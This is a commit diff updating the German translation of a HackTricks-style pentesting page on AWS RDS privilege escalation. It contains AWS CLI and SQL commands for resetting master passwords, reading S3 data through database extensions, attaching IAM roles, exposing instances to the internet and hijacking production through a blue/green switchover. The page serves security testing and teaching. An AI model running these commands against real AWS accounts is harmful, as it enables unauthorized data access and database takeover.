mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -12,7 +12,7 @@ Für weitere Informationen zu RDS siehe:
|
||||
|
||||
### `rds:ModifyDBInstance`
|
||||
|
||||
Mit dieser Berechtigung kann ein attacker **das Passwort des master user ändern**, und den Login innerhalb der Datenbank:
|
||||
Mit dieser Berechtigung kann ein Angreifer das **Passwort des Master-Benutzers ändern**, und den Login innerhalb der Datenbank anpassen:
|
||||
```bash
|
||||
# Get the DB username, db name and address
|
||||
aws rds describe-db-instances
|
||||
@@ -27,30 +27,30 @@ aws rds modify-db-instance \
|
||||
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
|
||||
```
|
||||
> [!WARNING]
|
||||
> Du musst in der Lage sein, eine Verbindung zur Datenbank herzustellen (sie sind normalerweise nur von innerhalb von Netzwerken erreichbar).
|
||||
> Sie müssen in der Lage sein, eine **Verbindung zur Datenbank** herzustellen (sie sind normalerweise nur aus internen Netzwerken erreichbar).
|
||||
|
||||
**Potential Impact:** Sensitive Informationen in den Datenbanken finden.
|
||||
**Potenzielle Auswirkung:** Sensible Informationen in den Datenbanken finden.
|
||||
|
||||
### rds-db:connect
|
||||
|
||||
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
|
||||
Laut den [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) könnte ein Benutzer mit dieser Berechtigung eine Verbindung zur DB-Instanz herstellen.
|
||||
|
||||
### Abuse RDS Role IAM permissions
|
||||
### Missbrauch von RDS Role IAM-Berechtigungen
|
||||
|
||||
#### Postgresql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
|
||||
> Wenn Sie **`SELECT datname FROM pg_database;`** ausführen und eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS postgresql database** befinden.
|
||||
|
||||
Zuerst kannst du prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Service zuzugreifen. Du kannst das überprüfen, indem du dir die installierten Erweiterungen ansiehst:
|
||||
Zuerst können Sie prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Dienst zuzugreifen. Sie können dies überprüfen, indem Sie sich die installierten Erweiterungen ansehen:
|
||||
```sql
|
||||
SELECT * FROM pg_extension;
|
||||
```
|
||||
Wenn du etwas wie **`aws_s3`** findest, kannst du davon ausgehen, dass diese Datenbank **irgendwie Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**).
|
||||
Wenn du etwas wie **`aws_s3`** findest, kannst du davon ausgehen, dass diese Datenbank **eine Art Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**).
|
||||
|
||||
Außerdem, wenn du die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du dort sehen, ob der **Cluster eine angehängte IAM Role** im Feld **`AssociatedRoles`** hat. Falls vorhanden, kannst du davon ausgehen, dass die Datenbank **vorbereitet wurde, auf andere AWS services zuzugreifen**. Anhand des **Namens der Role** (oder wenn du die **Berechtigungen** der Role herausfinden kannst) könntest du **abschätzen**, auf welche zusätzlichen Ressourcen oder Services die Datenbank Zugriff hat.
|
||||
Wenn du außerdem die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du dort im Feld **`AssociatedRoles`** sehen, ob der **Cluster eine IAM Role angehängt** hat. Falls ja, kannst du davon ausgehen, dass die Datenbank **dazu vorbereitet wurde, auf andere AWS-Services zuzugreifen**. Anhand des **Namens der Role** (oder falls du die **Berechtigungen** der Role ermitteln kannst) könntest du **vermuten**, welche zusätzlichen Zugriffe die Datenbank hat.
|
||||
|
||||
Um nun eine Datei in einem bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie lesen mit:
|
||||
Um nun **eine Datei in einem Bucket zu lesen**, musst du den vollständigen Pfad kennen. Du kannst sie mit:
|
||||
```sql
|
||||
// Create table
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
@@ -71,7 +71,7 @@ SELECT * from ttemp;
|
||||
// Delete table
|
||||
DROP TABLE ttemp;
|
||||
```
|
||||
Wenn Sie über **rohe AWS-Zugangsdaten** verfügen, könnten Sie diese auch verwenden, um mit folgendem Befehl auf S3-Daten zuzugreifen:
|
||||
Wenn du über **raw AWS credentials** verfügtest, könntest du sie auch verwenden, um mit folgendem auf S3-Daten zuzugreifen:
|
||||
```sql
|
||||
SELECT aws_s3.table_import_from_s3(
|
||||
't', '', '(format csv)',
|
||||
@@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
|
||||
);
|
||||
```
|
||||
> [!NOTE]
|
||||
> Postgresql **muss keine Parametergruppenvariable ändern**, um auf S3 zugreifen zu können.
|
||||
> Postgresql **muss keine Variable der Parametergruppe ändern**, um auf S3 zugreifen zu können.
|
||||
|
||||
#### Mysql (Aurora)
|
||||
|
||||
> [!TIP]
|
||||
> Wenn du dich in einer mysql befindest und die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführst und es einen Benutzer namens **`rdsadmin`** gibt, kannst du annehmen, dass du dich in einer **AWS RDS mysql db** befindest.
|
||||
> Innerhalb eines mysql, wenn Sie die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführen und es gibt einen Benutzer namens **`rdsadmin`**, können Sie davon ausgehen, dass Sie sich in einer **AWS RDS mysql db** befinden.
|
||||
|
||||
Führe innerhalb der mysql **`show variables;`** aus und wenn Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, kannst du davon ausgehen, dass die Datenbank zum Zugriff auf S3 vorbereitet ist.
|
||||
Innerhalb des mysql führen Sie **`show variables;`** aus und wenn Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, können Sie davon ausgehen, dass die Datenbank zum Zugriff auf S3-Daten vorbereitet ist.
|
||||
|
||||
Wenn du außerdem die Berechtigung hast, **`aws rds describe-db-clusters`** auszuführen, kannst du prüfen, ob der Cluster eine **zugeordnete Rolle** hat, was in der Regel Zugang zu AWS-Services bedeutet).
|
||||
Außerdem, wenn Sie Berechtigungen haben, **`aws rds describe-db-clusters`** auszuführen, können Sie prüfen, ob der Cluster eine **zugeordnete Rolle** hat, was normalerweise Zugriff auf AWS-Services bedeutet).
|
||||
|
||||
Um nun eine Datei in einem Bucket zu **lesen**, musst du den vollständigen Pfad kennen. Du kannst sie mit:
|
||||
Jetzt, um **eine Datei in einem Bucket zu lesen** müssen Sie den vollständigen Pfad kennen. Sie können sie lesen mit:
|
||||
```sql
|
||||
CREATE TABLE ttemp (col TEXT);
|
||||
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
|
||||
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
|
||||
```
|
||||
### `rds:AddRoleToDBCluster`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **eine angegebene Rolle zu einer vorhandenen RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern.
|
||||
Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **einer bestehenden RDS-Instanz eine angegebene Rolle hinzufügen**. Dadurch könnte der Angreifer **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern.
|
||||
```bash
|
||||
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
|
||||
```
|
||||
**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.\
|
||||
Beachte, dass einige DBs zusätzliche Konfigurationen benötigen, wie z. B. Mysql, bei denen auch die role ARN in den Parametergruppen angegeben werden muss.
|
||||
**Mögliche Auswirkungen**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.\
|
||||
Beachte, dass einige DBs zusätzliche Konfigurationen erfordern, wie z. B. Mysql, bei denen die role ARN auch in den Parametergruppen angegeben werden muss.
|
||||
|
||||
### `rds:CreateDBInstance`
|
||||
|
||||
Nur mit dieser Berechtigung könnte ein Angreifer eine **neue instance inside a cluster** erstellen, die bereits existiert und eine **IAM role** zugeordnet hat. Er kann das Master-Benutzerpasswort nicht ändern, aber er könnte die neue Datenbankinstanz dem Internet zugänglich machen:
|
||||
Allein mit dieser Berechtigung könnte ein Angreifer eine **neue Instanz innerhalb eines Clusters** erstellen, das bereits existiert und eine **IAM role** angehängt hat. Er kann das Passwort des Master-Benutzers nicht ändern, könnte die neue Datenbankinstanz jedoch dem Internet aussetzen:
|
||||
```bash
|
||||
aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
--db-instance-identifier mydbinstance2 \
|
||||
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
|
||||
> [!NOTE]
|
||||
> TODO: Testen
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz erstellen, der eine bestimmte Rolle zugewiesen ist**. Der Angreifer kann dann möglicherweise **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern.
|
||||
Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz mit einer angegebenen Rolle erstellen**. Der Angreifer kann dann möglicherweise **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz verändern.
|
||||
|
||||
> [!WARNING]
|
||||
> Einige Voraussetzungen für das anzuhängende Role-/Instance-Profile (laut [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
> Einige Anforderungen an das anzuhängende role/instance-profile (aus [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
|
||||
|
||||
> - Das Profil muss in Ihrem Konto existieren.
|
||||
> - Das Profil muss eine IAM-Rolle enthalten, die Amazon EC2 annehmen darf.
|
||||
> - Der Name des Instance-Profils und der zugehörigen IAM-Rolle müssen mit dem Präfix `AWSRDSCustom` beginnen.
|
||||
> - Das Profil muss in Ihrem Konto vorhanden sein.
|
||||
> - Das Profil muss eine IAM-Rolle haben, die Amazon EC2 übernehmen darf.
|
||||
> - Der Name des instance profile und der zugehörige IAM-Rollenname müssen mit dem Präfix `AWSRDSCustom` .
|
||||
```bash
|
||||
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
|
||||
```
|
||||
**Potential Impact**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS instance.
|
||||
**Potentielle Auswirkungen**: Zugriff auf vertrauliche Daten oder unautorisierte Änderungen der Daten in der RDS-Instanz.
|
||||
|
||||
### `rds:AddRoleToDBInstance`, `iam:PassRole`
|
||||
|
||||
Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine angegebene Rolle zu einer bestehenden RDS instance hinzufügen**. Dadurch könnte der Angreifer **auf sensible Daten zugreifen** oder die Daten innerhalb der instance verändern.
|
||||
Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine angegebene Rolle zu einer bestehenden RDS-Instanz hinzufügen**. Dadurch könnte der Angreifer **auf vertrauliche Daten zugreifen** oder die Daten innerhalb der Instanz verändern.
|
||||
|
||||
> [!WARNING]
|
||||
> Die DB instance muss dafür außerhalb eines Clusters liegen.
|
||||
> Die DB-Instanz muss sich dafür außerhalb eines Clusters befinden.
|
||||
```bash
|
||||
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
|
||||
```
|
||||
**Mögliche Auswirkungen**: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen kann eine Produktionsdatenbank (Blue) klonen, der Kopie (Green) eine hochprivilegierte IAM-Rolle zuweisen und dann den Switchover verwenden, um die Produktionsumgebung zu ersetzen. Dadurch kann der Angreifer die Privilegien der Datenbank erhöhen und sich unbefugten Zugriff auf andere AWS-Ressourcen verschaffen.
|
||||
```bash
|
||||
# Create a Green deployment (clone) of the production cluster
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name <name> \
|
||||
--source <production-db-cluster-arn>
|
||||
|
||||
# Attach a high-privilege IAM role to the Green cluster
|
||||
aws rds add-role-to-db-cluster \
|
||||
--db-cluster-identifier <green-cluster-id> \
|
||||
--role-arn <high-privilege-iam-role-arn>
|
||||
|
||||
# Switch the Green environment to Production
|
||||
aws rds switchover-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <deployment-id>
|
||||
```
|
||||
**Mögliche Auswirkungen**: Vollständige Übernahme der Produktionsdatenbankumgebung. Nach der Umschaltung arbeitet die Datenbank mit erhöhten Rechten, wodurch unberechtigter Zugriff auf andere AWS-Services (z. B. S3, Lambda, Secrets Manager) von innerhalb der Datenbank möglich ist.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user